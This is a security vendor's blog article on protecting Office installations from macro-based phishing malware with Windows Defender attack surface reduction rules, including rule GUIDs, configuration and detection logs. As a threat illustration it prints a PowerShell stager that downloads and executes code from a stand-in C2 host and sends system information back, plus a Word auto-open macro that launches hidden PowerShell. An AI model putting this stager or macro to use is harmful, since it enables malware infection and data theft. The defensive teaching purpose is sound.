I want a "Red Teaming"
Michael Schneider
How to Protect your Office Installation
Sending Word or Excel documents containing macros is still a popular scam in phishing circles, as it offers a high success rate. At first glance, the easiest way of getting around this attack technique is to disable macros. But this is rarely done in business environments. Restricting macros unless they’re signed is another option, but companies rarely implement it because of the time and effort involved in managing certificates and the signing process. Disabling macros with a notification is doomed to failure because macros can be re-enabled with just a few clicks. Phishing emails also contain instructions on how to enable macros. This then makes the user curious to view the file’s contents, and seemingly the only way of doing so is if macros are enabled.
That’s why one tries to prevent this kind of email from reaching the end user in the first place. Filtering out emails with Office documents on the mail gateway is a viable solution capable of fending off most attacks. But even this measure requires adaptation of the filter depending on the business process, and exceptions must be defined accordingly. It’s typically these exceptions that lead to security incidents. Which is why there should be an additional technical security check that can prevent damage if an employee receives a malicious email message, opens the attachment and enables macro execution.
In most cases, Office malware is a basic set-up known as a stager – a program that’s reduced to a few functions which downloads the actual malware. This basic functionality means a stager is less likely to be detected by an antivirus solution. This PowerShell code is an example of a stager:
$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.162 Safari/537.36 Scip/23.42.5 Edg/80.0.361.109" $Destination = "http://www.google.com" $ProxyUrl = ([System.Net.WebRequest]::GetSystemWebproxy()).GetProxy($Destination) $TargetUrl = "https://malicious.example.org/c2" If($ProxyUrl.AbsoluteUri.contains($Destination)) { $Result = Invoke-Expression(Invoke-WebRequest -Uri $TargetUrl -UserAgent $UserAgent -UseDefaultCredentials) Invoke-WebRequest -Uri $TargetUrl -UserAgent $UserAgent -UseDefaultCredentials -Method Post -Body $Result } Else { Invoke-Expression(Invoke-WebRequest -Uri $TargetUrl -UserAgent $UserAgent -Proxy $ProxyUrl -ProxyUseDefaultCredentials) Invoke-WebRequest -Uri $TargetUrl -UserAgent $UserAgent -Proxy $ProxyUrl -ProxyUseDefaultCredentials -Method Post -Body $Result }
This code uses PowerShell and .NET functions to determine whether a proxy server is being used. If so, the stager code uses the proxy server and logged-in user’s default access credentials to establish a connection to the command and control server (C2 server). The code begins by downloading a file that is executed directly with the PowerShell function Invoke-Expression
. This is a proof-of-concept step in which a single file containing the systeminfo
command is downloaded; this is a system program that reads basic information about the operating system. The stager transmits the information read by systeminfo
back to the C2 server. Armed with this information, attackers can reload malware tailored to the system in question.
The PowerShell code is Base64-encoded to disguise its intention. While Base64 encoding is a standard method, some security products recognize it. Another way of concealing PowerShell code is the Invoke-Obfuscation tool created by Daniel Bohannon. The advantage of a Base64-encoded solution is that PowerShell can directly decode and execute powershell.exe -enc <code>
from the command line.
The coded stager is inserted into a Word document. A macro function calls PowerShell from Word when the document is opened and executes the code:
Private Sub Document_Open() Set a = CreateObject("WScript.Shell") Dim b As String b = "JABVAHMAZQByAEEAZwBlAG4AdAAgAD0AIAAiAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACg" _ & "AVwBpAG4AZABvAHcAcwAgAE4AVAAgADEAMAAuADAAOwAgAFcAaQBuADYANAA7ACAAeAA2AD" _ & "QAKQAgAEEAcABwAGwAZQBXAGUAYgBLAGkAdAAvADUAMwA3AC4AMwA2ACAAKABLAEgAVABNA" _ & "EwALAAgAGwAaQBrAGUAIABHAGUAYwBrAG8AKQAgAEMAaAByAG8AbQBlAC8AOAAwAC4AMAAu" _ <redacted by scip AG> & "JABSAGUAcwB1AGwAdAAgAH0ACgA=" a.Run "powershell.exe" & " -NoP -NonI -W Hidden -Exec Bypass -Command " & b, 0, False End Sub
The use of Base64 and the call to PowerShell makes this sample code highly conspicuous, and it would quickly be identified as malware if investigated. This is why attackers use additional techniques – such as assembling code snippets at runtime or inserting dead code that is not needed for actual execution – to make the file appear harmless when subjected to basic analysis.
With Windows 10 version 1709, Microsoft introduced the attack surface reduction (ASR) rules as part of Windows Defender Exploit Guard. The ASR rules can already be used on a single Windows 10 license. Events that fall under the ASR rules can be evaluated with Event Viewer. However, additional features such as management, monitoring and analysis are only available under Windows 10 Enterprise E5 licenses or with Microsoft Defender Advanced Threat Protection.
In April 2020, there were 15 ASR rules. Each rule has a GUID, which is used to implement the rule’s configuration using a group policy object (GPO) or PowerShell command. If Microsoft Endpoint Configuration Manager or Microsoft Intune is used, the GUIDs are not required. In the case of a GPO, the rules are configured with the path Administrative Templates\Windows Components\Windows Defender\Windows Defender Exploit Guard\Attack Surface Reduction\Configure Attack Surface Reduction rules
. There are three configuration levels:
0
– Off1
– Block2
– AuditThe following ASR rules are helpful as countermeasures for Office malware:
GUID | Regelname |
---|---|
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 | Block executable content from email client and webmail |
D4F940AB-401B-4EFC-AADC-AD5F3C50688A | Block all Office applications from creating child processes |
3B576869-A4EC-4529-8536-B80A7769E899 | Block Office applications from creating executable content |
75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 | Block Office applications from injecting code into other processes |
D3E037E1-3EB8-44C8-A917-57927947596D | Block JavaScript or VBScript from launching downloaded executable content |
5BEB7EFE-FD9A-4556-801D-275E5FFC04CC | Block execution of potentially obfuscated scripts |
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B | Block Win32 API calls from Office macros |
26190899-1602-49e8-8b27-eb1d0a1ce869 | Block Office communication application from creating child processes |
The Block Office communication application from creating child processes rule only applies to Microsoft Outlook and Outlook.com.
The configuration can then be read using a PowerShell cmdlet:
PS C:\> $AsrSetting = Get-MpPreference PS C:\> For ($i=0; $i -lt $AsrSetting.AttackSurfaceReductionRules_Ids.Length; $i++) { Write-Host $AsrSetting.AttackSurfaceReductionRules_Ids[$i] ";" $AsrSetting.AttackSurfaceReductionRules_Actions[$i]} 01443614-cd74-433a-b99e-2ecdc07bfc25 ; 2 26190899-1602-49e8-8b27-eb1d0a1ce869 ; 2 3b576869-a4ec-4529-8536-b80a7769e899 ; 2 5beb7efe-fd9a-4556-801d-275e5ffc04cc ; 2 75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84 ; 2 7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c ; 2 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b ; 2 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 ; 2 b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 ; 2 be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 ; 2 c1db55ab-c21a-4637-bb3f-a12568109d35 ; 2 d1e49aac-8f56-4280-b9ba-993a6d77406c ; 2 d3e037e1-3eb8-44c8-a917-57927947596d ; 2 d4f940ab-401b-4efc-aadc-ad5f3c50688a ; 2
In Audit mode all activities are recorded in the event log, but execution is allowed. This mode can be used to initially test the ASR rules to ensure that no legitimate application is restricted. We particularly recommend operating the Office rules in Block mode. If a malicious file is detected but macros are nonetheless successfully executed and malware subsequently downloaded, attackers gain an advantage due to the response time until detection.
If the Word document is opened and the macro executed, Windows Defender detects and blocks execution of the malicious code. The following entries are then logged in the Microsoft-Windows-Windows Defender/Operational event log:
Windows Defender Exploit Guard audited an operation that is not allowed by your IT administrator. For more information please contact your IT administrator. ID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A Detection time: 2020-04-06T08:54:55.866Z User: W10\user Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Name: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE Security intelligence Version: 1.313.861.0 Engine Version: 1.1.16900.4 Product Version: 4.18.2003.8 Windows Defender Exploit Guard audited an operation that is not allowed by your IT administrator. For more information please contact your IT administrator. ID: 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 Detection time: 2020-04-06T08:54:56.116Z User: W10\user Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Name: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE Security intelligence Version: 1.313.861.0 Engine Version: 1.1.16900.4 Product Version: 4.18.2003.8
Windows Defender has detected the creation of a child process as well as the injection of code into another process and can also stop it in Block mode. While this would execute the macro code, it prevents further damage.
The attack surface reduction rules are what is known as a defense in depth measure. If the malware has already slipped through upstream security checks, this measure can prevent infection if need be. If Windows Defender is already being used as an antivirus solution, it’s worthwhile activating the ASR rules using GPO. We recommend operating at least the office-relevant rules in block mode.
Our experts will get in contact with you!
Michael Schneider
Michael Schneider
Michael Schneider
Michael Schneider
Our experts will get in contact with you!